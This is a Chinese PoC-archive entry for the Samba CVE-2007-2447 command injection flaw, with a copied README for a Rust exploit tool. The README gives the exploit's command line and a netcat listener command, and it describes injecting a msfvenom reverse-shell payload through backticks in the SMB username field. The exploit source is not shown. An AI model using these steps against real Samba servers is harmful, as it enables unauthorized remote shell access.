关联漏洞
标题：
Samba MS-RPC Shell命令注入漏洞
(CVE-2007-2447)
描述：Samba是Samba团队开发的一套可使UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做连结的自由软件。该软件支持共享打印机、互相传输资料文件等。 Samba在处理用户数据时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。 Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时，通过对/bin/sh的MS-RPC调用提交了恶意输入的话，就可能允许攻击者以nobody用户的权限执
描述
A Rust implementation of the CVE-2007-2447 exploit targeting Samba smbd 3.0.20-Debian.
介绍
# CVE-2007-2447 Samba Exploit
A Rust implementation of the CVE-2007-2447 exploit targeting Samba smbd 3.0.20-Debian.
## Vulnerability Description
CVE-2007-2447 is a command injection vulnerability in Samba versions 3.0.0 through 3.0.25rc3. The vulnerability exists in the `SamrChangePassword()` function, which fails to properly sanitize user input, allowing attackers to execute arbitrary commands via shell metacharacters in the username field during SMB authentication.
## Prerequisites
- Rust installed on your system
- `msfvenom` (part of Metasploit Framework)
- Target running vulnerable Samba version
## Usage
```bash
cargo run -- --lhost <attacker-ip> --lport <attacker-port> --target <target-ip>
```
### Example
```bash
# Set up a netcat listener
nc -lvnp 4444
# Run the exploit
cargo run -- --lhost 10.10.14.170 --lport 4444 --target 192.168.1.100
```
## Options
- `--lhost`: Your attacking machine's IP address
- `--lport`: Port to receive the reverse shell connection
- `--target`: Target machine's IP address
## How it Works
1. Generates a reverse netcat payload using msfvenom
2. Injects the payload into the SMB username field using backticks
3. Sends a malformed SMB Session Setup request to port 445
4. Exploits command injection in Samba's username processing
5. Executes the reverse shell payload on the target
## Disclaimer
This tool is for educational and authorized penetration testing purposes only. Use responsibly and only on systems you own or have explicit permission to
文件快照
[4.0K] /data/pocs/d2c9dd04d390670842d2403952c0a42bb6b0bc0a
├── [3.0K] Cargo.lock
├── [ 97] Cargo.toml
├── [1.5K] README.md
└── [4.0K] src
└── [5.7K] main.rs
1 directory, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。